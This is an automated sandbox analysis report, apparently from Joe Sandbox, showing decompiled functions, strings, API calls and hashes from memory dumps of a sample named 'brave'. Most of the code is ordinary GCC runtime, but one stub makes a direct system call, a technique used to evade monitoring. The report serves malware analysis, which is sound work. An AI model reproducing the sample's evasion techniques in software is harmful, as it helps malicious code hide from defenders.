				asm("ud2");
				_v584 = 0;
				_t102 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF69F810980(0x9fab2d20, 0x9fab6c50);
				 *0x9fab2d38 = 0x12400; // executed
				malloc(_t202); // executed
				 *0x9fab2d30 = _t102;
				if (_t102 == 0) goto 0x9f832789;
				 *0x9fab2d28 = _t102;
				 *_t102 = 0x12400;
				 *((long long*)(_t102 + 8)) = 0;
				goto E00007FF67FF69F801520;
				 *0x9fab2d38 = 0;
				 *0x9fab2d28 = 0;
				goto 0x9f832779;
				0;
				0;
				0;
			}

0x7ff69f8322e9
0x7ff69f8322ff
0x7ff69f832306
0x7ff69f83230a
0x7ff69f83230d
0x7ff69f832318
0x7ff69f83231c
0x7ff69f832329
0x7ff69f83233f
0x7ff69f832346
0x7ff69f83234a
0x7ff69f83234d
0x7ff69f832358
0x7ff69f83235c
0x7ff69f832369
0x7ff69f83237c
0x7ff69f83237f
0x7ff69f832386
0x7ff69f83238a
0x7ff69f83238d
0x7ff69f832398
0x7ff69f83239c
0x7ff69f8323a0
0x7ff69f8323a2
0x7ff69f8323b0
0x7ff69f8323bb
0x7ff69f8323be
0x7ff69f8323d4
0x7ff69f8323d9
0x7ff69f8323df
0x7ff69f8323e7
0x7ff69f8323f0
0x7ff69f8323f2
0x7ff69f832400
0x7ff69f83240b
0x7ff69f83240e
0x7ff69f832424
0x7ff69f832429
0x7ff69f83242f
0x7ff69f832437
0x7ff69f832440
0x7ff69f832442
0x7ff69f832450
0x7ff69f83245b
0x7ff69f83245e
0x7ff69f832474
0x7ff69f832479
0x7ff69f83247f
0x7ff69f832484
0x7ff69f832487
0x7ff69f832490
0x7ff69f832492
0x7ff69f8324a0
0x7ff69f8324ab
0x7ff69f8324ae
0x7ff69f8324c4
0x7ff69f8324c9
0x7ff69f8324cf
0x7ff69f8324d7
0x7ff69f8324e0
0x7ff69f8324e2
0x7ff69f8324f0
0x7ff69f8324fb
0x7ff69f8324fe
0x7ff69f832514
0x7ff69f832519
0x7ff69f83251f
0x7ff69f832524
0x7ff69f832527
0x7ff69f832530
0x7ff69f832532
0x7ff69f832540
0x7ff69f83254b
0x7ff69f83254e
0x7ff69f832564
0x7ff69f832569
0x7ff69f83256f
0x7ff69f832577
0x7ff69f832580
0x7ff69f832582
0x7ff69f832590
0x7ff69f83259b
0x7ff69f83259e
0x7ff69f8325b4
0x7ff69f8325b9
0x7ff69f8325bf
0x7ff69f8325c7
0x7ff69f8325d0
0x7ff69f8325d2
0x7ff69f8325e0
0x7ff69f8325eb
0x7ff69f8325ee
0x7ff69f832604
0x7ff69f832609
0x7ff69f83260f
0x7ff69f832617
0x7ff69f832620
0x7ff69f832630
0x7ff69f83263e
0x7ff69f832654
0x7ff69f83265f
0x7ff69f832667
0x7ff69f832670
0x7ff69f832681
0x7ff69f832683
0x7ff69f832694
0x7ff69f832696
0x7ff69f8326a7
0x7ff69f8326a9
0x7ff69f8326ba
0x7ff69f8326bc
0x7ff69f8326c7
0x7ff69f8326c9
0x7ff69f8326da
0x7ff69f8326dc
0x7ff69f8326ed
0x7ff69f8326ef
0x7ff69f832700
0x7ff69f832702
0x7ff69f832713
0x7ff69f832715
0x7ff69f83271e
0x7ff69f832726
0x7ff69f83272e
0x7ff69f83273d
0x7ff69f832747
0x7ff69f832752
0x7ff69f832757
0x7ff69f832761
0x7ff69f832763
0x7ff69f83276a
0x7ff69f832771
0x7ff69f832784
0x7ff69f832789
0x7ff69f832794
0x7ff69f83279f
0x7ff69f8327a7
0x7ff69f8327ab
0x7ff69f8327af

Strings

basic_string::_M_create, xrefs: 00007FF69F8323A2

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strlen$CaptureContextUnwindabortmalloc
String ID: basic_string::_M_create
API String ID: 214865124-3122258987
Opcode ID: 56a730b624957fdfe59585361835cd4944ad67ef4d9076c70fd66d217f432776
Instruction ID: 3c57f8a9600762da23cb276ab10fa9ab3e4eaa30869e8151e7d3124e13850bbb
Opcode Fuzzy Hash: 56a730b624957fdfe59585361835cd4944ad67ef4d9076c70fd66d217f432776
Instruction Fuzzy Hash: E2416050E1A54794E9A4BB66AA151FA1331FF46BC9F8218B1EC0DDB397CE6CB005A340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8323A0 Relevance: 1.3, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF67FF69F8323A0() {
				long long _v464;
				void* _t69;
				void* _t71;
				void* _t72;
				int _t74;
				long long* _t83;
				void* _t84;
				void* _t85;
				int _t97;
				int _t105;
				void* _t162;
				int _t163;
				int _t164;
				int _t165;
				int _t166;
				int _t167;
				int _t168;
				int _t169;
				int _t170;
				int _t177;
				int _t181;

				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t85);
				_t163 = _t74;
				E00007FF67FF69F829680(_t74, _t85);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t163, 0x9fab6b50, 0x7ff69f8297b0, _t162, _t163, _t85);
				_t173 = _t74;
				E00007FF67FF69F831CF0(_t163);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				_push(_t163);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				_t164 = _t74;
				E00007FF67FF69F829F90(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t164, 0x9fab6b90, 0x7ff69f82a0b0, _t162, _t164, _t173);
				_t175 = _t74;
				E00007FF67FF69F831CF0(_t164);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				_push(_t164);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				_t165 = _t74;
				E00007FF67FF69F82AC70(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t165, 0x9fab6c70, 0x7ff69f82ad90, _t162, _t165, _t175);
				_t177 = _t74;
				E00007FF67FF69F831CF0(_t165);
				_t97 = _t177;
				E00007FF67FF69F80FEC0();
				_push(_t177);
				_push(_t165);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t97);
				_t166 = _t74;
				E00007FF67FF69F82A110(_t74, _t97);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t166, 0x9fab6bb0, 0x7ff69f82a230, _t162, _t166, _t97);
				_t179 = _t74;
				E00007FF67FF69F831CF0(_t166);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				_push(_t166);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				_t167 = _t74;
				E00007FF67FF69F82A290(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t167, 0x9fab6bd0, 0x7ff69f82a3b0, _t162, _t167, _t179);
				_t181 = _t74;
				E00007FF67FF69F831CF0(_t167);
				_t105 = _t181;
				E00007FF67FF69F80FEC0();
				_push(_t181);
				_push(_t167);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t105);
				_t168 = _t74;
				E00007FF67FF69F82A7A0(_t74, _t105);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t168, 0x9fab6c10, 0x7ff69f82a8d0, _t162, _t168, _t105);
				_t183 = _t74;
				E00007FF67FF69F831CF0(_t168);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				_push(_t168);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				_t169 = _t74;
				E00007FF67FF69F829850(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t169, 0x9fab6b70, 0x7ff69f829970, _t162, _t169, _t183);
				_t185 = _t74;
				E00007FF67FF69F831CF0(_t169);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				_push(_t169);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				_t170 = _t74;
				E00007FF67FF69F82A970(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t170, 0x9fab6c30, 0x7ff69f82aa90, _t162, _t170, _t185);
				_t187 = _t74;
				E00007FF67FF69F831CF0(_t170);
				E00007FF67FF69F80FEC0();
				_push(_t74);
				E00007FF67FF69F8319A0(_t71, _t72, _t74, _t74);
				E00007FF67FF69F82AAF0(_t74, _t74);
				E00007FF67FF69F832160(0x10, _t69, _t74, _t84, _t74, 0x9fab6c50, 0x7ff69f82ac10, _t162, _t74, _t187);
				E00007FF67FF69F831CF0(_t74);
				E00007FF67FF69F80FEC0();
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				asm("ud2");
				_v464 = 0;
				_t83 =  *0x10;
				asm("ud2");
				0;
				E00007FF67FF69F810980(0x9fab2d20, 0x9fab6c50);
				 *0x9fab2d38 = 0x12400; // executed
				malloc(_t170); // executed
				 *0x9fab2d30 = _t83;
				if (_t83 == 0) goto 0x9f832789;
				 *0x9fab2d28 = _t83;
				 *_t83 = 0x12400;
				 *((long long*)(_t83 + 8)) = 0;
				goto E00007FF67FF69F801520;
				 *0x9fab2d38 = 0;
				 *0x9fab2d28 = 0;
				goto 0x9f832779;
				0;
				0;
				0;
			}

0x7ff69f8323b0
0x7ff69f8323bb
0x7ff69f8323be
0x7ff69f8323d4
0x7ff69f8323d9
0x7ff69f8323df
0x7ff69f8323e7
0x7ff69f8323f0
0x7ff69f8323f2
0x7ff69f832400
0x7ff69f83240b
0x7ff69f83240e
0x7ff69f832424
0x7ff69f832429
0x7ff69f83242f
0x7ff69f832437
0x7ff69f832440
0x7ff69f832442
0x7ff69f832450
0x7ff69f83245b
0x7ff69f83245e
0x7ff69f832474
0x7ff69f832479
0x7ff69f83247f
0x7ff69f832484
0x7ff69f832487
0x7ff69f832490
0x7ff69f832492
0x7ff69f8324a0
0x7ff69f8324ab
0x7ff69f8324ae
0x7ff69f8324c4
0x7ff69f8324c9
0x7ff69f8324cf
0x7ff69f8324d7
0x7ff69f8324e0
0x7ff69f8324e2
0x7ff69f8324f0
0x7ff69f8324fb
0x7ff69f8324fe
0x7ff69f832514
0x7ff69f832519
0x7ff69f83251f
0x7ff69f832524
0x7ff69f832527
0x7ff69f832530
0x7ff69f832532
0x7ff69f832540
0x7ff69f83254b
0x7ff69f83254e
0x7ff69f832564
0x7ff69f832569
0x7ff69f83256f
0x7ff69f832577
0x7ff69f832580
0x7ff69f832582
0x7ff69f832590
0x7ff69f83259b
0x7ff69f83259e
0x7ff69f8325b4
0x7ff69f8325b9
0x7ff69f8325bf
0x7ff69f8325c7
0x7ff69f8325d0
0x7ff69f8325d2
0x7ff69f8325e0
0x7ff69f8325eb
0x7ff69f8325ee
0x7ff69f832604
0x7ff69f832609
0x7ff69f83260f
0x7ff69f832617
0x7ff69f832620
0x7ff69f832630
0x7ff69f83263e
0x7ff69f832654
0x7ff69f83265f
0x7ff69f832667
0x7ff69f832670
0x7ff69f832681
0x7ff69f832683
0x7ff69f832694
0x7ff69f832696
0x7ff69f8326a7
0x7ff69f8326a9
0x7ff69f8326ba
0x7ff69f8326bc
0x7ff69f8326c7
0x7ff69f8326c9
0x7ff69f8326da
0x7ff69f8326dc
0x7ff69f8326ed
0x7ff69f8326ef
0x7ff69f832700
0x7ff69f832702
0x7ff69f832713
0x7ff69f832715
0x7ff69f83271e
0x7ff69f832726
0x7ff69f83272e
0x7ff69f83273d
0x7ff69f832747
0x7ff69f832752
0x7ff69f832757
0x7ff69f832761
0x7ff69f832763
0x7ff69f83276a
0x7ff69f832771
0x7ff69f832784
0x7ff69f832789
0x7ff69f832794
0x7ff69f83279f
0x7ff69f8327a7
0x7ff69f8327ab
0x7ff69f8327af

Strings

basic_string::_M_create, xrefs: 00007FF69F8323A2

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: strlen$CaptureContextUnwindabortmalloc
String ID: basic_string::_M_create
API String ID: 214865124-3122258987
Opcode ID: 07c73089a9c23fa8787c8356b327776d2c61bf32108450415a4ed1dc3e9e7dc6
Instruction ID: 3b26bb431027d5abfc186f23944bf7409dae57c95465911fa6d1fcb3c512b119
Opcode Fuzzy Hash: 07c73089a9c23fa8787c8356b327776d2c61bf32108450415a4ed1dc3e9e7dc6
Instruction Fuzzy Hash: 02113A40E1A54754E9A8BB626E151FA5371FF86FC9F8228B0EC0DDB397DD6CA005A381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F804C80 Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF67FF69F804C80(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32, long long _a40) {
				void* _t9;
				intOrPtr _t10;
				void* _t11;

				_pop(_t11);
				_a16 = __rcx;
				_a24 = __rdx;
				_a32 = __r8;
				_a40 = __r9;
				_t10 =  *0x9fab2b40; // 0x24ac1733
				_t9 = E00007FF67FF69F804C20(_t10, _t11);
				asm("syscall");
				return _t9;
			}

0x7ff69f804c80
0x7ff69f804c81
0x7ff69f804c86
0x7ff69f804c8b
0x7ff69f804c90
0x7ff69f804c99
0x7ff69f804c9f
0x7ff69f804cbf
0x7ff69f804cc1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction ID: d389075110d0b3aef313724b64b0100a00dca595bd2c4831bc368a4059176686
Opcode Fuzzy Hash: dae371a8610d859356a0b0e471f64f9d264ed4058a6e4d7a127b9e3f5264a2ab
Instruction Fuzzy Hash: A0E0927AA09B85D2C614DB52F89045EB7B4F7997C5B10492AEECC53B29CF3CD1A08B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F823230 Relevance: 63.2, APIs: 13, Strings: 23, Instructions: 184
fileCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E00007FF67FF69F823230(void* __edi, void* __eflags, void* __rbx, void* __rcx, void* __rdx, int __rdi, void* __rsi, void* __r12, char* __r13, int __r14, void* __r15) {
				void* _t43;
				void* _t75;
				void* _t93;
				void* _t94;
				intOrPtr _t100;
				long long* _t107;
				void* _t113;
				long long* _t114;
				long long* _t134;
				long long _t136;
				void* _t142;
				char* _t153;
				void* _t154;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				long long* _t170;

				_t93 = __edi;
				_t156 = _t155 - 0x90;
				_t154 = _t156 + 0x90;
				 *((long long*)(_t154 - 0x38)) = 0x7562206c;
				_t138 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x40)) = 0x74696d62;
				 *((long long*)(_t154 - 0x30)) = 0x74726f70;
				_t5 = _t138 + 0x78; // 0x756f6e6520746fe6
				 *((long long*)(_t154 - 0x28)) = 0x70747468;
				 *((long long*)(_t154 - 0x20)) = 0x2e636367;
				 *((long long*)(_t154 - 0x18)) = 0x2f67726f;
				_t113 = __rdx - __rcx;
				 *((long long*)(_t154 - 0x70)) = 0x20746f6e;
				 *((long long*)(_t154 - 0x68)) = 0x73206867;
				 *((long long*)(_t154 - 0x60)) = 0x726f6620;
				 *((long long*)(_t154 - 0x58)) = 0x2074616d;
				 *((long long*)(_t154 - 0x50)) = 0x6f69736e;
				 *((long long*)(_t154 - 0x48)) = 0x7361656c;
				 *((long long*)(_t154 - 0x10)) = 0xa3a292f;
				 *((char*)(_t154 - 8)) = 0;
				E00007FF67FF69F80F680(_t43);
				_t157 = _t156 - (_t5 & 0xfffffff0);
				 *((long long*)(_t157 + 0x58)) = 0x7562206c;
				 *((long long*)(_t157 + 0x50)) = 0x74696d62;
				 *((long long*)(_t157 + 0x68)) = 0x70747468;
				 *((long long*)(_t157 + 0x60)) = 0x74726f70;
				 *((long long*)(_t157 + 0x78)) = 0x2f67726f;
				_t142 = __rcx;
				 *((long long*)(_t157 + 0x80)) = 0xa3a292f;
				 *(_t157 + 0x20) = 0x20746f6e;
				 *((long long*)(_t157 + 0x28)) = 0x73206867;
				 *((long long*)(_t157 + 0x30)) = 0x726f6620;
				 *((long long*)(_t157 + 0x38)) = 0x2074616d;
				 *((long long*)(_t157 + 0x40)) = 0x6f69736e;
				 *((long long*)(_t157 + 0x48)) = 0x7361656c;
				 *((long long*)(_t157 + 0x70)) = 0x2e636367;
				memcpy(__rbx, __rsi, __rdi);
				 *((char*)(_t157 + _t113 + 0x88)) = 0;
				E00007FF67FF69F8323A0();
				0;
				0;
				_t158 = _t157 - 0x30;
				if ( *0x9fab2d60 != 0) goto 0x9f8234da;
				 *0x9fab2d60 = 1;
				E00007FF67FF69F831BC0(0x2e636367);
				if (0x2e636367 == 0) goto 0x9f8234b0;
				 *((intOrPtr*)(_t158 + 0x2c)) = 0xffffffff;
				r8d = 0;
				E00007FF67FF69F80E1F0(0x2e636367,  *0x2E756E672E63636F + 0x2e636367, _t142, _t113, _t158 + 0x2c);
				_t114 =  *0x9fab2c70; // 0x7ff69f821d50
				 *_t114();
				r8d = 0x30;
				fwrite(_t113, _t157 + 0x20);
				if ( *((intOrPtr*)(_t158 + 0x2c)) == 0) goto 0x9f8234a1;
				 *_t114();
				fputs(__r13);
				 *_t114();
				r8d = 2;
				fwrite(__r12, __r14);
				_t100 =  *((intOrPtr*)(_t158 + 0x2c));
				if (_t100 != 0) goto 0x9f82349c;
				free(__r15);
				E00007FF67FF69F832110(2, 1, 0x2e636367, _t114, _t113, 0x2e636367,  *0x2E756E672E63636F + 0x2e636367, 0x2e636367);
				 *_t114();
				fputs(_t153);
				goto 0x9f82346b;
				 *0x9fab2c70();
				r8d = 0x2d;
				fwrite(??, ??, ??, ??);
				abort();
				 *0x9fab2c70();
				r8d = 0x1d;
				fwrite(??, ??, ??, ??);
				abort();
				if (_t100 != 0) goto 0x9f82356f;
				0x9f831a10();
				_t107 =  *0x2e636367;
				 *((intOrPtr*)(_t107 + 0x10))();
				 *_t114();
				_t170 = _t107;
				r8d = 0xb;
				fwrite(??, ??, ??, ??);
				 *_t114();
				fputs(??, ??);
				 *_t114();
				fputc(??, ??);
				E00007FF67FF69F831C20(_t107);
				goto 0x9f8234d5;
				0x9f831a10();
				E00007FF67FF69F831C20(_t107);
				_t178 = _t107;
				E00007FF67FF69F831C20(_t107);
				_t134 = _t107;
				E00007FF67FF69F80FEC0();
				E00007FF67FF69F8319A0(_t93, _t94, _t107, _t134);
				 *_t107 = 0x9fab7100;
				_t75 = E00007FF67FF69F832160(8, 1, 0x9fab7100, _t114, _t107, 0x9fab6af0, 0x7ff69f8231e0, _t170, _t178, 0x2e636367);
				_t136 =  *0x9fab2d30; // 0x1455e3b0080
				if (_t136 == 0) goto 0x9f8235e0;
				free(??);
				 *0x9fab2d30 = 0;
				return _t75;
			}

0x7ff69f823230
0x7ff69f82323a
0x7ff69f823241
0x7ff69f823292
0x7ff69f8232aa
0x7ff69f8232ad
0x7ff69f8232bb
0x7ff69f8232bf
0x7ff69f8232cd
0x7ff69f8232df
0x7ff69f8232ed
0x7ff69f8232f1
0x7ff69f8232f4
0x7ff69f8232f8
0x7ff69f8232fc
0x7ff69f823300
0x7ff69f823304
0x7ff69f823308
0x7ff69f82330c
0x7ff69f823310
0x7ff69f823314
0x7ff69f823323
0x7ff69f823333
0x7ff69f823347
0x7ff69f823356
0x7ff69f823365
0x7ff69f823374
0x7ff69f823379
0x7ff69f82337c
0x7ff69f82338c
0x7ff69f823391
0x7ff69f823396
0x7ff69f82339b
0x7ff69f8233a0
0x7ff69f8233a5
0x7ff69f8233aa
0x7ff69f8233af
0x7ff69f8233b7
0x7ff69f8233bf
0x7ff69f8233ca
0x7ff69f8233ce
0x7ff69f8233d5
0x7ff69f8233e0
0x7ff69f8233e6
0x7ff69f8233ed
0x7ff69f8233f5
0x7ff69f82340b
0x7ff69f823416
0x7ff69f823421
0x7ff69f82342b
0x7ff69f823435
0x7ff69f823443
0x7ff69f82344c
0x7ff69f82345c
0x7ff69f82345e
0x7ff69f823466
0x7ff69f823470
0x7ff69f823472
0x7ff69f823487
0x7ff69f823490
0x7ff69f823492
0x7ff69f823497
0x7ff69f82349c
0x7ff69f8234a1
0x7ff69f8234a9
0x7ff69f8234ae
0x7ff69f8234b5
0x7ff69f8234bb
0x7ff69f8234d0
0x7ff69f8234d5
0x7ff69f8234df
0x7ff69f8234e5
0x7ff69f8234fa
0x7ff69f8234ff
0x7ff69f82350b
0x7ff69f82350d
0x7ff69f823515
0x7ff69f823518
0x7ff69f823523
0x7ff69f823525
0x7ff69f823528
0x7ff69f82353a
0x7ff69f823544
0x7ff69f82354c
0x7ff69f823556
0x7ff69f823560
0x7ff69f823565
0x7ff69f82356a
0x7ff69f82356f
0x7ff69f823574
0x7ff69f82357e
0x7ff69f823581
0x7ff69f823586
0x7ff69f823589
0x7ff69f823599
0x7ff69f8235b6
0x7ff69f8235b9
0x7ff69f8235c4
0x7ff69f8235ce
0x7ff69f8235d0
0x7ff69f8235d5
0x7ff69f8235e4

APIs

memcpy.MSVCRT ref: 00007FF69F8233AF
fwrite.MSVCRT ref: 00007FF69F8234D0

Part of subcall function 00007FF69F80E1F0: strlen.MSVCRT ref: 00007FF69F80E27E
Part of subcall function 00007FF69F80E1F0: memcpy.MSVCRT ref: 00007FF69F80E292
Part of subcall function 00007FF69F80E1F0: free.MSVCRT ref: 00007FF69F80E29D

fwrite.MSVCRT ref: 00007FF69F82344C
fputs.MSVCRT ref: 00007FF69F823466
fwrite.MSVCRT ref: 00007FF69F823487
free.MSVCRT ref: 00007FF69F823497
fputs.MSVCRT ref: 00007FF69F8234A9
abort.MSVCRT ref: 00007FF69F8234D5
fwrite.MSVCRT ref: 00007FF69F8234FA
abort.MSVCRT ref: 00007FF69F8234FF
fwrite.MSVCRT ref: 00007FF69F82353A
fputs.MSVCRT ref: 00007FF69F82354C
fputc.MSVCRT ref: 00007FF69F823560

Strings

port at , xrefs: 00007FF69F82334C
gh space, xrefs: 00007FF69F82325D
bmit ful, xrefs: 00007FF69F823296
/): , xrefs: 00007FF69F8232E3
l bug re, xrefs: 00007FF69F823319
org/bugs, xrefs: 00007FF69F82335B
gcc.gnu., xrefs: 00007FF69F82336A
bmit ful, xrefs: 00007FF69F823329
gcc.gnu., xrefs: 00007FF69F8232C3
for for, xrefs: 00007FF69F823267
lease su, xrefs: 00007FF69F823285
terminate called recursively, xrefs: 00007FF69F8234F0
l bug re, xrefs: 00007FF69F823249
https://, xrefs: 00007FF69F82333D
org/bugs, xrefs: 00007FF69F8232D5
port at , xrefs: 00007FF69F8232B1
terminate called without an active exception, xrefs: 00007FF69F8234C6
what(): , xrefs: 00007FF69F823533
mat expa, xrefs: 00007FF69F823271
terminate called after throwing an instance of ', xrefs: 00007FF69F82343C
not enou, xrefs: 00007FF69F823253
nsion (P, xrefs: 00007FF69F82327B
https://, xrefs: 00007FF69F8232A0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: fwrite$fputs$abortfreememcpy$fputcstrlen
String ID: what(): $ for for$/): $bmit ful$bmit ful$gcc.gnu.$gcc.gnu.$gh space$https://$https://$l bug re$l bug re$lease su$mat expa$not enou$nsion (P$org/bugs$org/bugs$port at $port at $terminate called after throwing an instance of '$terminate called recursively$terminate called without an active exception
API String ID: 1586115568-1351603976
Opcode ID: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction ID: ddebbc7d98087668bf89b565dfe8423dd74ac251e257d0a1e56addd9ff508f13
Opcode Fuzzy Hash: fe6879b4978ab91ad2477e5e00425517d39e91c0031cd86db954f8b7f250dbe4
Instruction Fuzzy Hash: D2711021B08B4184EB709BA2A9443ED73B5FB45BC0F654179EE8C8BB9ADE3DE001D701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80F840 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 157synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69F80F848
CreateMutexA.KERNEL32 ref: 00007FF69F80F957
WaitForSingleObject.KERNEL32 ref: 00007FF69F80F968
FindAtomA.KERNEL32 ref: 00007FF69F80F97D
AddAtomA.KERNEL32 ref: 00007FF69F80F9BD
_onexit.MSVCRT ref: 00007FF69F80F9DA
ReleaseMutex.KERNEL32 ref: 00007FF69F80F9E2
CloseHandle.KERNEL32 ref: 00007FF69F80F9EB

Strings

aaaaaaaa, xrefs: 00007FF69F80F8FE
__eh_shmem3_gcc_tdm_, xrefs: 00007FF69F80F897, 00007FF69F80F8C7
failed to get string from atom, xrefs: 00007FF69F80FAD6
failed to add string to atom table, xrefs: 00007FF69F80FAA3
failed to to lock creation mutex, xrefs: 00007FF69F80FAB6
aaaaaaaa, xrefs: 00007FF69F80F8F4

